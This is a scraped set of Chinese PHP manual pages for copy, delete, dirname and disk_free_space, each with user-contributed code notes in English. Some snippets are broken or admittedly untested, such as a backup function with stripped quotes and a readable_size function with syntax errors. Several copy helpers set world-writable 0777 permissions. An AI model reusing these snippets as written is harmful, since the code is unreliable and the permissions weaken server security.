  // void dircpy( str 'source directory', str 'destination directory' [, bool 'overwrite existing files'] )
function dircpy($source, $dest, $overwrite = false){

  if($handle = opendir(loc1 . $source)){        // if the folder exploration is sucsessful, continue
   while(false !== ($file = readdir($handle))){ // as long as storing the next file to $file is successful, continue
     if($file != '.' && $file != '..'){
       $path = $source . '/' . $file;
       if(is_file(loc1 . $path)){
         if(!is_file(loc1 . $dest . '/' . $file) || $overwrite)
           if(!@copy(loc1 . $path, loc1 . $dest . '/' . $file)){
             echo '<font color="red">File ('.$path.') could not be copied, likely a permissions problem.</font>';
           }
       } elseif(is_dir(loc1 . $path)){
         if(!is_dir(loc1 . $dest . '/' . $file))
           mkdir(loc1 . $dest . '/' . $file); // make subdirectory before subdirectory is copied
         dircpy($path, $dest . '/' . $file, $overwrite); //recurse!
       }
     }
   }
   closedir($handle);
  }
} // end of dircpy()
?>

This new function will be in 0.9.7 (the current release of File Manage) which has just been released 2/2/06.
Hope this helps some people.
makarenkoa at ukrpost dot net
26-Jul-2005 07:58
A function that copies contents of source directory to destination directory and sets up file modes.
It may be handy to install the whole site on hosting.
<?php
// copydirr.inc.php
/*
26.07.2005
Author: Anton Makarenko
   makarenkoa at ukrpost dot net
   webmaster at eufimb dot edu dot ua
*/
function copydirr($fromDir,$toDir,$chmod=0757,$verbose=false)
/*
   copies everything from directory $fromDir to directory $toDir
   and sets up files mode $chmod
*/
{
//* Check for some errors
$errors=array();
$messages=array();
if (!is_writable($toDir))
   $errors[]='target '.$toDir.' is not writable';
if (!is_dir($toDir))
   $errors[]='target '.$toDir.' is not a directory';
if (!is_dir($fromDir))
   $errors[]='source '.$fromDir.' is not a directory';
if (!empty($errors))
   {
   if ($verbose)
       foreach($errors as $err)
           echo '<strong>Error</strong>: '.$err.'<br />';
   return false;
   }
//*/
$exceptions=array('.','..');
//* Processing
$handle=opendir($fromDir);
while (false!==($item=readdir($handle)))
   if (!in_array($item,$exceptions))
       {
       //* cleanup for trailing slashes in directories destinations
       $from=str_replace('//','/',$fromDir.'/'.$item);
       $to=str_replace('//','/',$toDir.'/'.$item);
       //*/
       if (is_file($from))
           {
           if (@copy($from,$to))
               {
               chmod($to,$chmod);
               touch($to,filemtime($from)); // to track last modified time
               $messages[]='File copied from '.$from.' to '.$to;
               }
           else
               $errors[]='cannot copy file from '.$from.' to '.$to;
           }
       if (is_dir($from))
           {
           if (@mkdir($to))
               {
               chmod($to,$chmod);
               $messages[]='Directory created: '.$to;
               }
           else
               $errors[]='cannot create directory '.$to;
           copydirr($from,$to,$chmod,$verbose);
           }
       }
closedir($handle);
//*/
//* Output
if ($verbose)
   {
   foreach($errors as $err)
       echo '<strong>Error</strong>: '.$err.'<br />';
   foreach($messages as $msg)
       echo $msg.'<br />';
   }
//*/
return true;
}
/* sample usage:
WARNING:
if You set wrong $chmod then You'll not be able to access files and directories
in destination directory.
For example: once upon a time I've called the function with parameters:
copydir($fromDir,$toDir,true);
What happened? I've forgotten one parameter (chmod)
What happened next? Those files and directories became inaccessible for me
(they had mode 0001), so I had to ask sysadmin to delete them from root account
Be careful :-)
<?php
require('./copydirr.inc.php');
copydirr('./testSRC','D:/srv/Apache2/htdocs/testDEST',0777,true);
?>
*/
?>
Andrzej Nadziejko (andrzej at vao . pl)
27-Jun-2005 03:52
These functions are to copy and remove big directories:

/*
source files are in source directory
*/
function SetupFolder($dir_name)
{
   mkdir($dir_name,'0777');
   $folder = opendir('source');
   while($file = readdir($folder))
   {
       if ($file == '.' || $file == '..') {
           continue;
       }
       if(is_dir('source/'.$file))
       {
           mkdir($dir_name.'/'.$file,0777);
           CopyFiles('source/'.$file,$dir_name.'/'.$file);
       }
       else
       {
           copy('source/'.$file,$dir_name.'/'.$file);
       }
   }
   closedir($folder);
   return 1;
}
//copy many files
function CopyFiles($source,$dest)
{
   $folder = opendir($source);
   while($file = readdir($folder))
   {
       if ($file == '.' || $file == '..') {
           continue;
       }

       if(is_dir($source.'/'.$file))
       {
           mkdir($dest.'/'.$file,0777);
           CopySourceFiles($source.'/'.$file,$dest.'/'.$file);
       }
       else
       {
           copy($source.'/'.$file,$dest.'/'.$file);
       }

   }
   closedir($folder);
   return 1;
}
//remove file, directories, subdirectories
function RemoveFiles($source)
{
   $folder = opendir($source);
   while($file = readdir($folder))
   {
       if ($file == '.' || $file == '..') {
           continue;
       }

       if(is_dir($source.'/'.$file))
       {
           RemoveFiles($source.'/'.$file);
       }
       else
       {
           unlink($source.'/'.$file);
       }

   }
   closedir($folder);
   rmdir($source);
   return 1;
}
info at sameprecision dot org
29-Jan-2005 07:54
When using copy on win32 (don't know about anywhere else),  copy sets the 'last modified time' of the the new copy to the current time instead of that of the source (win32 copy preserves last modified time).  If you are tracking backups by last modified time, use:

<?php

copy($src, $dest); touch($dest, filemtime($src));

?>
20-Jan-2005 08:34
Heres a quick function I wrote to backup whole websites.
I haven't actually tested it out yet. I will later on  =P
<?

function backup($extension) {
   $counter = 0;
   foreach(glob(* . $extension) as $file) {
       if ($extension{0} != .) {
           $extension = . . $extension;
       }
       $file2 = ./backup/ . $file;
       $counter++;
       copy($file, $file2);
   }
   if ($counter == 0) {
       return false;
   } else {
       return true;
   }
}

/* Test -- Copy all images */

$extension_array = array(.jpg, .gif, .png, .bmp);

foreach($extension_array as $key => $value) {
   backup($extension);
}

?>
simonr_at_orangutan_dot_co_dot_uk
03-Sep-2004 04:54
Having spent hours tacking down a copy() error: Permission denied , (and duly worrying about chmod on winXP) , its worth pointing out that the 'destination' needs to contain the actual file name ! --- NOT just the path to the folder you wish to copy into.......
DOH !
hope this saves somebody hours of fruitless debugging
aidan at php dot net
30-Aug-2004 03:29
If you want to copy a file, or an entire folder (including the contents), use the below function.

http://aidan.dotgeek.org/lib/?file=function.copyr.php
kadnan at yahoo dot com
30-Aug-2004 01:30
you can also try xcopy command by using Shell to move/copy files/folders from one place to another
here is the code:

<?php
exec('xcopy c:\\myfolder d:\\myfolder /e/i', $a, $a1);
?>

by executing this command, it will move folder along with all contents to destination.

-adnan
add a note add a note

后退 | 起点 | 前进
clearstatcache | 上一级 | delete


delete

(no version information, might be only in CVS)

delete -- 参见 unlink() 或 unset()

说明

void delete ( string file )

这是个虚构的手册条目来给那些本来是找 unlink() 或者 unset() 的人提供一些有用的信息。

参见 unlink() 来删除文件，unset() 来删除变量。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
copy | 上一级 | dirname


dirname

(PHP 3, PHP 4, PHP 5)

dirname -- 返回路径中的目录部分

说明

string dirname ( string path )

给出一个包含有指向一个文件的全路径的字符串，本函数返回去掉文件名后的目录名。

在 Windows 中，斜线（/）和反斜线（\）都可以用作目录分隔符。在其它环境下是斜线（/）。

例子 1. dirname() 例子

<?php
$path = "/etc/passwd";
$file = dirname($path); // $file is set to "/etc"
?>

注: 在 PHP 4.0.3 中，dirname() 被修正为 POSIX 兼容。本质上就意味着如果在 path 中没有斜线，则返回一个点（'.'），表示当前目录。否则返回的是把 path 中结尾的 /component（最后一个斜线以及后面部分）去掉之后的字符串。注意这意味着在老的函数返回一个空字符串的情形下你通常从 dirname() 得到的是斜线或者一个点。

dirname() 从 PHP 4.3.0 开始有所改变 请看以下例子：

<?php

// PHP 4.3.0 以前
dirname('c:/'); // 返回 '.'

// PHP 4.3.0 以后
dirname('c:/'); // 返回 'c:'

?>

dirname() 的操作从 PHP 5.0.0 版开始是二进制安全的。

参见 basename()，pathinfo() 和 realpath()。

add a note add a note User Contributed Notes
jo at durchholz dot org
22-Mar-2006 06:40
OK, I'll bite :-)

Things that could be improved are:

1. PHP_SELF isn't always reliable. (Particularly various (mis-)configured FastCgi installations.) REQUEST_URI is, and it's reasonably easy to parse. Even better, REQUEST_URI also contains the server name.
2. When concatenating, you don't need that initial empty string.
3. dirname() has a borderline case (at least in 4.4.4): if the URL ends with a slash, the path part preceding it is stripped, too.
I.e. if the script is called as http://example.com/path/to/script/index.php, dirname() will do the Right Thing, but http://example.com/path/to/script/ will come out as http://example.com/path/to. (*Very* bewildering if the customer phones you about that...)
Luckily, that's easy to fix by adding a letter (actually anything but a slash) to the URL.

Giving:

<?php
list ($url, $query_string)
  = explode ('?', $_SERVER ['REQUEST_URI'], 2);
$urldir = dirname ($url . 'x');
?>
CMNetworx
21-Mar-2006 02:49
I wanted to get just the current folder that the document is in, but not the rest of the url, so here is a simple replacement array. Might be a little more code than neccessary..

<?
$DocName = "" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'];
$DirNow = dirname($DocName);

$drop = array("www.", "yourwebsite", ".com/");
# here you drop the url, ex: www.yourwebsite.com/
$pickup = array("", "", "");

$folder = str_replace($drop, $pickup, $DirNow);
echo "Your Current Folder is:<br>";
echo "$folder";
?>
borisallan at socialenquiry dot org
05-Mar-2006 07:52
I needed to refer to a directory, one up the tree, so that I had an explicit rather than relative anchor. I couldn't find a function, so I invented:

  $DocName = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'];
  $DirNow = dirname($DocName);
  $DirUp = dirname($DirNow);

which seems to work.
Cheers. BoRiS.
phpcomm-david at tulloh dot id dot au
02-Mar-2006 01:41
This is dirty little trick to allow dirname() to work with paths with and without files.

basename($var.'a');

Some examples:
<?php
$var='/foo/bar/file';
basename($var) == '/foo/bar'
basename($var.'a') == '/foo/bar'

$var='/foo/bar/';
basename($var) == '/foo'
basename($var.'a') == '/foo/bar'
?>
jay jansheski
28-Feb-2006 10:42
<?
// gets the folder name of the current script

function this_folder_name($path){
   if (!$path){$path=$_SERVER['PHP_SELF'];}
   $current_directory = dirname($path);
   $current_directory = str_replace('\\','/',$current_directory);
   $current_directory = explode('/',$current_directory);
   $current_directory = end($current_directory);
   return $current_directory;
}
print this_folder_name();
?>
ssl at bokehman dot com
22-Sep-2005 04:55
The way this function plays with slashes in windows is a pain so if you are trying to get the current directory I would use the following instead:

str_replace(basename($_SERVER['PHP_SELF']), '', $_SERVER['PHP_SELF'])
renich at woralelandia dot com
11-Aug-2005 01:15
--- Edited by tularis@php.net ---
You could also have a look at the getcwd() function
--- End Edit ---

A nice "current directory" function.

function current_dir()
{
$path = dirname($_SERVER[PHP_SELF]);
$position = strrpos($path,'/') + 1;
print substr($path,$position);
}

current_dir();

I find this usefull for a lot of stuff! You can maintain a modular site with dir names as modules names. At least I would like PHP guys to add this to the function list!

If there is anything out there like it, please tell me.
klugg this-is-junk at tlen dot pl
18-Jul-2005 10:14
Attention with this. Dirname likes to mess with the slashes.
On Windows, Apache:

<?php
echo '$_SERVER[PHP_SELF]: ' . $_SERVER['PHP_SELF'] . '<br />';
echo 'Dirname($_SERVER[PHP_SELF]: ' . dirname($_SERVER['PHP_SELF']) . '<br>';
?>

prints out

$_SERVER[PHP_SELF]: /index.php
Dirname($_SERVER[PHP_SELF]: \
tobylewis at mac dot com
24-Jun-2005 09:52
Since the paths in the examples given only have two parts (e.g. "/etc/passwd") it is not obvious whether dirname returns the single path element of the parent directory or whether it returns the whole path up to and including the parent directory.  From experimentation it appears to be the latter.

e.g.

dirname('/usr/local/magic/bin');

returns '/usr/local/magic'  and not just 'magic'

Also it is not immediately obvious that dirname effectively returns the parent directory of the last item of the path regardless of whether the last item is a directory or a file.  (i.e. one might think that if the path given was a directory then dirname would return the entire original path since that is a directory name.)

Further the presense of a directory separator at the end of the path does not necessarily indicate that last item of the path is a directory, and so

dirname('/usr/local/magic/bin/');  #note final '/'

would return the same result as in my example above.

In short this seems to be more of a string manipulation function that strips off the last non-null file or directory element off of a path string.
Holger Thlking
28-Apr-2005 06:31
If you merely want to find out wether a certain file is located within or underneath a certain directory or not, e.g. for White List validation, the following function might be useful to you:

<?php
  function in_dir ($file, $in_dir)
  {
     $dir    = realpath ($file);
     $in_dir = realpath ($in_dir);

     if (!is_dir ($file)) {
         $dir = dirname ($file);
     }

     do {
         if ($dir === $in_dir) {
             $is_in_dir = TRUE;
             break;
         }
     } while ($dir !== ($dir = dirname ($dir)));

     return (bool) @$is_in_dir;
  }
?>
Jaxolotl
24-Feb-2005 01:34
A simple way to have the complete URI of your actual "browsed" page for, as example, W3C css-validation link, or any time you need it,  is:

$my_uri = "http://" . $_SERVER['HTTP_HOST'] . $HTTP_SERVER_VARS["SCRIPT_NAME"];

then

<?php echo ("$my_uri");?>  as needed
23-Jan-2005 09:09
<<The path '/home/users/bob/' refers to the file 'bob' in directory '/home/users/', not the file '' in directory '/home/users/bob/.'>>, in fact no, it's the same thing.
not AT available DOT com
08-Jan-2005 01:13
There is no distinction between a directory and a file. This is how dirname() and basename() work. A directory *is* a file.

There is no such thing as a path to a non-existing file. The path '/home/users/bob/' refers to the file 'bob' in directory '/home/users/', not the file '' in directory '/home/users/bob/'. This is trivial.

Given the path '/etc/conf/sample', there is no way of determining whether 'sample' is a file or a directory just by looking at it. Think about that.
temposeb at free dot fr
07-Jun-2004 05:33
Doc :  Given a string containing a path to a file
You _must_ specify a filename. Take care if you don't do that...

<?php
   echo dirname('/folder/anotherone/') ;
?>

... will output "/folder" and not "/folder/anotherone"
zippy wonder idiot at yahoo dot com
24-Mar-2004 06:40
Andrew,

There are certainly good reasons to use relative includes, though I agree they usually should not be used exclusively.  Here's a couple of common situations:

1) You do not have control over the web server on which you're developing.  If you want your pages to work even if your {ISP,employer,friend,etc.} rearranges their server -- particularly Apache's user_dir -- then relative includes are the way to go.  Your pages will work if they're at "http://www.host.tld/~user/", "http://host.tld/user/", or even "http://user.host.tld/".

2) You are developing a script or set of scripts for distribution.  You don't want to force your users to rearrange their web server to allow includes from /includes/my-files before they can use your script, after all.

On my own server, for example, I keep all site-wide PHP and JavaScript in /scripts so that I don't have to worry about where they're being called from.  The include files used by my media library, however, are in a scripts subdirectory of the folder the main script runs in.  This also makes development easier; the development and production versions simply reside in different folders, allowing them to use different versions of the include files without altering the include statements.
andrew at i dot love dot spam dot majiclab dot com
30-Jan-2004 03:24
I am not understanding why everyone seems to want to use relative includes so much.

<?php
include("{$_SERVER['DOCUMENT_ROOT']}/includes/my_include.php");
?>

That will work in any script that is in any single folder on your entire website.  No relative paths to mess with.  You can just put all your includes in the same folder, and have different names for them if you want.
soywiz at hotmail dot com
02-Jan-2004 10:41
You can use it to get parent directory:

dirname(dirname(__FILE__))

...include a file relative to file path:

include(dirname(__FILE__) . '/path/relative/file_to_include.php');

..etc.
degoede at tomaatnet dot nl
26-Jun-2003 10:58
Easy to have config functionality using dirname function.

inc.config.php:
===============================
/* UNC path to include file, plus trailing slash.
Convert back-slashes to slashes, always, on linux there will be none to replace, but who cares.
Use str_replace, as this is the fastest on simple replacements, according to php.net. */
$unc = str_replace( "\\\\", "/", dirname( __FILE__ ) . "/" ) ;

/* Remove the UNC path to this file from the UNC path to the main php script that included this file, only keeping any subfolder names, relative to this file's UNC. */
$url = str_replace( $unc, "", $_SERVER["SCRIPT_FILENAME"] ? $_SERVER["SCRIPT_FILENAME"] : $HTTP_SERVER_VARS["SCRIPT_FILENAME"] ) ;

/* Remove the value obtained from the calling php script's URL, to get the URL to this file.*/
$url = str_replace( $url, "", $_SERVER["SCRIPT_NAME"] ? $_SERVER["SCRIPT_NAME"] : $HTTP_SERVER_VARS["SCRIPT_NAME"] ) ;

/* Make a general purpose configuration data array. */
$Config["root"]["unc"] = $unc ;
$Config["root"]["url"] = $url ;
$Config["dir"]["images"] = "images/" ;
$Config["dir"]["include"] = "include/" ;

/* use functions to keep the interface simple and, seperate interface from internal functioning. */
function get_fullpath( $type, $dir )
{
   global $Config ;

   $FullPath = $Config["root"][$type] ;
   $FullPath .= $Config["dir"][$dir] ;

   return ( $FullPath ) ;
}

function get_unc( $dir, $file )
{
   return ( get_fullpath( "unc", $dir ) . $file ) ;
}

function get_url( $dir, $file )
{
   return ( get_fullpath( "url", $dir ) . $file ) ;
}

some_file.php:
===============================
include_once ( ../../inc.config.php ) ;
include_once ( get_unc( "include", "inc.some_include.php" ) ) ;

Now you only need to worry about a relative path once.
philb at gmx dot net
25-May-2003 11:37
<?php

// if you like put this into an include file

function ShowDirModTime($FullPath) {

  $BasePath = dirname ($FullPath);
  $time = filectime($BasePath);

   $time=time()-$time;

   $weeks=$time/604800;
   $days=($time%604800)/86400;
   $hours=(($time%604800)%86400)/3600;
   $minutes=((($time%604800)%86400)%3600)/60;
   $seconds=(((($time%604800)%86400)%3600)%60);

   $timestring='[ ';
       if(round($days)) $timestring.=round($days)."d ";
       if(round($hours)) $timestring.=round($hours)."h ";
       if(round($minutes)) $timestring.=round($minutes)."m ";
       if(!round($minutes)&&!round($hours)&&!round($days)) $timestring.="".round($seconds)."s ";
   $timestring.=']';

  echo $timestring;
}
?>

<?php

// execute like this...

   echo "dir last updated ";
   ShowDirModTime($HTTP_SERVER_VARS["PATH_TRANSLATED"]);
?>
info at gieson dot com
15-May-2003 09:40
This one will put both the "www" and "file" path into an easy to transport array.

<?php
// build the www path:
$me = $_SERVER['PHP_SELF'];
$Apathweb = explode("/", $me);
$myFileName = array_pop($Apathweb);
$pathweb = implode("/", $Apathweb);
$myURL = "http://".$_SERVER['HTTP_HOST'].$pathweb."/".$myFileName;
$PAGE_BASE['www'] = $myURL;

// build the file path:
strstr( PHP_OS, "WIN") ? $strPathSeparator = "\\" : $strPathSeparator = "/";
$pathfile = getcwd ();
$PAGE_BASE['physical'] = $pathfile.$strPathSeparator.$myFileName;

// this is so you can verify the results:
$www = $PAGE_BASE['www'];
$physical = $PAGE_BASE['physical'];

echo "$physical<p>";
echo "$www<p>";
?>

The following will return something like:

Windows:
F:\dev\Inetpub\wwwroot\somedirectory\index.php
http://devserver/somedirectory/index.php

Unix:
/home/somepathto/gieson.com/webroot/index.php
http://www.gieson.com/index.php
*~^-+=:[*_*]:=+-^~*
22-Feb-2003 12:00
My name is Alex but you can call me WindEagle
my website is windeagle.tk
my email is az[at]windeagle.tk

jon at PLEASE DO NOT SPAM ME sdsc edu
here is a better version of your script

function PATH($DIR,$URL){
$DIR=preg_split("/[\/\\\]/",dirname($DIR));
$URL=preg_split("/[\/\\\]/",dirname($URL));
$cDIR = count($DIR);
$cURL = count($URL);
$min = min($cDIR, $cURL);

for($x=1;$x<=$min;$x++){
if($DIR[$cDIR-$x]==$URL[$cURL-$x]){        // path matches
unset($DIR[$cDIR-$x],$URL[$cURL-$x]);    // erase any common elements
}else{break;}}                // all that's left is uncommon elements

// just incase $DIR or $URL equals "//"
$DIR = ereg_replace("//","/",join('/',$DIR)."/");
$URL = ereg_replace("//","/",join('/',$URL)."/");

return array("DIR" => $DIR,"URL" => $URL);}

example:

lets say that
for Win32
$_SERVER['SCRIPT_FILENAME']="C:\web\path\cgi-bin\script.php"
for Unix
$_SERVER['SCRIPT_FILENAME']="/web/path/cgi-bin/script.php"

$_SERVER['SCRIPT_NAME']="/~sn/cgi-bin/script.php"

PATH($_SERVER['SCRIPT_FILENAME'],$_SERVER['SCRIPT_NAME'])

return:

Array
(
for Win32
   [DIR] => C:/web/path/
for Unix
   [DIR] => /web/path/

   [URL] => /~sn/
)
jon at PLEASE DO NOT SPAM ME sdsc edu
15-Feb-2003 05:22
Here's a lil' code I cooked up to figure out the base directories, as far as filesystem vs. URLs.  This is very helpful for, say an image that you want to use getimagesize(); on, but only have the URL oriented directory.  You can then use str_replace(); or preg_replace(); and swap the values out easily!

Note that in order for it to work, you must include the pointer ($big = &$y), rather than simply copying ($big = $y).

// separate each dir into array elements
$x = explode('/', dirname($_SERVER['SCRIPT_FILENAME']));
$y = explode('/', dirname($_SERVER['SCRIPT_NAME']));
$countX = count($x);
$countY = count($y);
$max = max($countX, $countY);
$min = min($countX, $countY);
$dif = $max-$min;

if (isset($x[$max-1])) {  // $x is the biggest
   $big = &$x;        // make $big a pointer to $x
   $lil = &$y;          // make $lil a pointer to $y
} else {                  // $y is the biggest
   $big = &$y;        // make $big a pointer to $y
   $lil = &$x;          // make $lil a pointer to $x
}

for($i=$max-1;$i>=$dif; $i--) {
   if ($big[$i]==$lil[$i-$dif]) {        // path matches
       unset($big[$i], $lil[$i-$dif]);  // erase any common elements
   }
}
// all that's left is uncommon elements, join array(s)
$root_dir = join('/', $x).'/';
$root_url = join('/', $y).'/';
andrey at php dot net
14-Jan-2003 11:02
Code for write permissions check:
error_reporting(E_ALL);
$dir_name = '/var/www/virtual/phpintra/htdocs/php/';
do {
   $b_is_writable = is_writable($dir_name);
   echo sprintf("Dir[%s]Writable[%s]\n", $dir_name, $b_is_writable? 'YES':'NO');
}while (($dir_name = dirname($dir_name)) !='/');
rudecoder at yahoo dot com
12-Jan-2003 04:43
dirname can be used to create self referencing web scripts with the following one liner.

$base_url = str_replace($DOCUMENT_ROOT, "", dirname($PHP_SELF));

Using this method on a file such as:

/home/mysite/public_html/wherever/whatever.php

will return:

/wherever

Now $base_url can be used in your HTML to reference other scripts in the same directory.

Example:

href='<?=$base_url?>/myscript.php'
dave at corecomm dot us
09-Jan-2003 02:20
I very much appreciated Fredrich Echol's suggestion (rwf at gpcom dot net) of how to find a base path, but found that it failed when the initial script was already in the root folder -- dirname('/rootscript.php')=='/' and dirname('/include/includescript.php')=='/include' which have the same number of slashes. This variation is what I'm now using:

if (!defined("BASE_PATH")) define('BASE_PATH', dirname($_SERVER['SCRIPT_NAME'])=='/' ? './' : str_repeat("../",  substr_count(dirname($_SERVER["SCRIPT_NAME"]), "/")));

This explicitly checks for the root path (/) and uses './' as the base path if we're in the root folder.
I put this at/near the top of any file that calls another. (I used define for my own convenience; should work just fine with variables and without testing to see if you already did it.)

Note that in both cases (root-folder script and non-root-folder script), BASE_PATH will include a trailing slash. At least with Apache on Darwin (Mac OS X), you can include(BASE_PATH.'/myfile.php'); and the doubled slash won't cause any problems, giving the same result as include(BASE_PATH.'myfile.php'); .
ludma at pochtamt dot ru
27-Dec-2002 12:35
This function does a correct way to a directory on a server,
it does not recognize only such ways as
http://???/script.php?dir=/ok/index.php

function url_dir($url) {
   if (preg_match('/(.*)\/([^\/\.?]+)$/i', $url)) {
       $t_dir = preg_replace('/[^\/]$/', '\\0/', $url);
   } else {
       $t_dir = preg_replace(
       array('/(https?:\/\/)?(\w+\.)?(\w+\.'
       .'[a-z]{2,4})(.*)\/([^\/]*)$/','/[^\/]$/'),
       array('\\1\\2\\3\\4','\\0/'), $url);
   }
return $t_dir;
}

Test:

$dir = url_dir("http://www.roja.ru/path/?ok=1&r=1");
nsefton_nospam_ at hotmail dot com
28-Aug-2002 11:03
Well i had this same problem, includes including files and how to get to overcome the problem of the first file can see the second, but the second does not know where it is being called from, and thus cant call the third file, so i came up with this solution...

<?php

   function getPath() {

     // get position of current file
     $path = $GLOBALS["PATH_INFO"];
     // save a few nanaseconds, has this been done before,
     // has the global variable been set ?
     if (!isset($definedPath)) {
         // is file in root already ?
         if (strrpos($path,"/")!=0) {
           // there is probably a quicker way to count
           // the "/"s in the path
           $path=explode("/",$path);
           $s="";
           for ($i=0;$i<count($path)-1;$i++) {
               if ($path[$i]!="") {
                 // add the number of "../"s required
                 $s.="../";
               }
           }
           // declare a global variable so you dont have to
           // do this again, and return the variable
           global $definedPath;
           $definedPath=$s;
           return $definedPath;
         }
     } else {
         // just return what it worked out before, function
         // only really runs once
         return $definedPath;
     }
   }

   include getPath() . "my_include_path/header.inc";
   include getPath() . "includes/somethingelse.inc";
   //above file is at mydomain.com/includes/somethingelse.inc
   include getPath() . "includes/footer.inc";

?>

So basically, this finds the "path back home" and from there it knows it's way around. I like Fredric's solution ( even tho I dont understand it :P ) but i thought I'd share what I've done (with room for improvement i'm sure).

Noel
rwf at gpcom dot net
02-Aug-2002 07:08
If you want relative includes like C or C++ has, you need to find out where you are in relation to the base path of the server. That is, if you are two levels into the "htdocs" directory in apache, then you need to add "../../" to the begining of the include to get back to the base directory. That's simple. What's NOT so simple is when you have "nested" included files.

Continuing the example above, if you have a file example.php and it includes "../../lib.php" and lib.php includes "lib2.php" guess where "lib2.php" needs to be located? In the same directory as example.php! What you really wanted was to have lib.php and lib2.php in the same directory... To get that result you need to include "../../lib2.php" in lib.php... But wait, now it won't work if the original example.php file is in any other place but two levels deep!

The answer to the problem is this: find the number of levels you are currently into the base directory and add as many "../" as you need to the begining of the include filename in EVERY include file.

Here's an example:

example.php
------------
$BasePath = str_repeat("../", substr_count(dirname($_SERVER["SCRIPT_NAME"]), "/"));

require_once($BasePath."lib.php");
------------

Notice that we're adding the $BasePath and the name of the file we want together to get the full path. It will look like this: "../../lib.php"

lib.php
------
require_once($BasePath."lib2.php");
------

Notice here that BasePath has already been defined so we don't know or care what BasePath looks like, only that it now allows us to use a relative path to lib2.php since it automatically adds the number of "../" needed to get to it from the original example.php that the server executed. The path here will look like this: "../../lib2.php"

And now we can easily have lib.php and lib2.php in the same directory, and have lib.php include lib2.php as if it's a relative include.

Pretty simple, no? :)

-Fredric Echols
timATscurvyDOTnewyorkNETs
22-May-2002 07:45
if you want to know the *File System* (not web) Absolute Path (expanding the links) of the script that's currently being executed, try this:

$path=dirname(realpath($_SERVER['SCRIPT_FILENAME']));
tapken at engter dot de
01-May-2002 03:09
To get the directory of current included file:
dirname(__FILE__);

For example, if a script called 'database.init.php' which is included from anywhere on the filesystem wants to include the script 'database.class.php', which lays in the same directory, you can use:

include_once(dirname(__FILE__) . '/database.class.php');
inconnu0215 at noos dot fr
28-Mar-2002 05:13
To get the highest direcory, a simple method is : $dir=basename(dirname($path));
add a note add a note

后退 | 起点 | 前进
delete | 上一级 | disk_free_space


disk_free_space

(PHP 4 >= 4.1.0, PHP 5)

disk_free_space -- 返回目录中的可用空间

说明

float disk_free_space ( string directory )

给出一个包含有一个目录的字符串，本函数将根据相应的文件系统或磁盘分区返回可用的字节数。

例子 1. disk_free_space() 例子

<?php
// $df 包含根目录下可用的字节数
$df = disk_free_space("/");
//在 Windows 下:
disk_free_space("C:");
disk_free_space("D:");
?>

注: 本函数不能作用于远程文件，被检查的文件必须通过服务器的文件系统访问。

参见 disk_total_space()。

add a note add a note User Contributed Notes
flobee
12-May-2006 03:05
you may check this out working with % of disk usage (log object may comes from pear or just remove the log lines)
, flobee
<?php
// return true on error!
// on false: fine :-)
function check_disk_free_space($path) {
   global $oLog;
   // seconds a time-compare will be OK during the process (if it takes longer)
   // (limit the number if you have huge file movements to beware crashes
   // or "disk-full"- errors)
   $secCmp = 60;
   // max allowed/free size compare Value
   $sizeCmp = 92;
   // windows user get www.cygwin.com
   $cmd = 'c:/cygwin/bin/df.exe -a '. $path;
   $now = time();
   $_v = array();

   static $paths = null;
   static $sizes = null;
   static $times = null;
   if ($paths===null) {
       $paths = array();
       $sizes = array();
       $times = array();
   }

   if (($i=array_search($path,$paths)) && (($now-$times[$i]) < $secCmp)) {
       if($sizes[$i] >= $sizeCmp) {
           $oLog->log('disc space overflow: '.$sizes[$i].' ('.$sizeCmp.' is max limit!) for path: '.$path, 3);
           return false;
       } else {
           $oLog->log('disc space OK: '.$sizes[$i].'% ('.$sizeCmp.' is max limit!) for path: '.$path, 6);
           return true;
       }
   }

   $oLog->log('getting free space for: '. $path, 6);

   $result = exec($cmd, $data, $return);
   $oLog->log('cmd: '. $cmd, 7);

   if ($result) {
       $r = explode(' ', $data[1]);
       while(list($a,$b) = each($r)) {
           $b = trim($b);
           if ( $b != '') {
               $_v[] = $b;
           }
       }
       $oLog->log($_v, 7);

       $size = intval($_v[4]);

       $paths[] = $path;
       $sizes[] = $size;
       $times[] = time();

       if($size >= $sizeCmp) {
           $oLog->log('disc space overflow: '.$sizes[$i].' ('.$sizeCmp.' is max limit!) for path: '.$path, 3);
           return false;
       } else {
           $oLog->log('disc space OK: '.$sizes[$i].' ('.$sizeCmp.' is max limit!) for path: '.$path, 6);
           return true;
       }

       /*
       echo '$return: ' . $return .'<br><pre>';
       echo  print_r($data);
       echo '</pre>';
       */
   } else {
     $oLog->log('error can not get size', 3);
     return true;
   }
}

check_disk_free_space(getcwd());
?>
chicaboo at punkass dot com
09-May-2006 09:04
Just to let you know, 1 kilobyte = 1024 bytes, so from that perspective the code is alright
Martin Lindhe
25-Feb-2006 12:42
blow, your code is broken. it returns 1 kilobyte as "1024 bytes"

<?
function formatDataSize($bytes) {
   $units = array('bytes', 'KiB', 'MiB', 'GiB', 'TiB');
   foreach ($units as $unit) {
       if ($bytes < 1024) break;
       $bytes = round($bytes/1024, 1);
   }
   return $bytes.' '.$unit;
}?>
blow
04-Jan-2006 07:46
quiet the same

<?
function readable_size($lenght) {
   $units = array('B', 'kB', 'MB', 'GB', 'TB');
   foreach ($units as $unit) {
       if($lenght>1024) $lenght = round($lenght/1024, 1);
       else break;
   }
   return $lenght.' '.$unit;
}
?>
Nick H
22-Nov-2005 12:08
This is probably what the previous poster indended to write:

<?php
function readable_size($size) {
   if ($size < 1024) {
       return $size . ' B';
   }
   $units = array("kB", "MiB", "GB", "TB");
   foreach ($units as $unit) {
       $size = $size / 1024;
       if ($size < 1024) {
           break;
       }
   }
   return $size . ' ' . $unit;
}
?>
ludvig dot ericson at gmail dot com
27-Sep-2005 03:28
On the first note by aidan: it does not work.

On the second note, this is better:
<?
function readable_size($size) {
   if ($size < 1024) {
       return $size . ' B';
   }
   $units = array("kB", "MiB", "GB", "TB");
   foreach ($units as $unit) {
       $size = size / 1024;
       if ($size / 1024 > 1024) {
           break;
   }
   return $size . ' ' . $unit;
}
?>
mat
20-Aug-2005 06:36
Note that in the previous two examples by Ashraf M Kaabi, calling the function in such a manner as disk_used_space(C) is in error and will give you a warning.  Should be disk_used_space('C'), otherwise it will look for a constant C, fail, and then act as if you had wrote 'C' instead.
Ashraf M Kaabi
02-Mar-2005 12:38
and also you can know the used space , in this
example :
<?
function disk_used_space($drive)
         {
         return disk_total_space("$drive:") - disk_free_space("$drive:");
         }

echo disk_used_space(C);
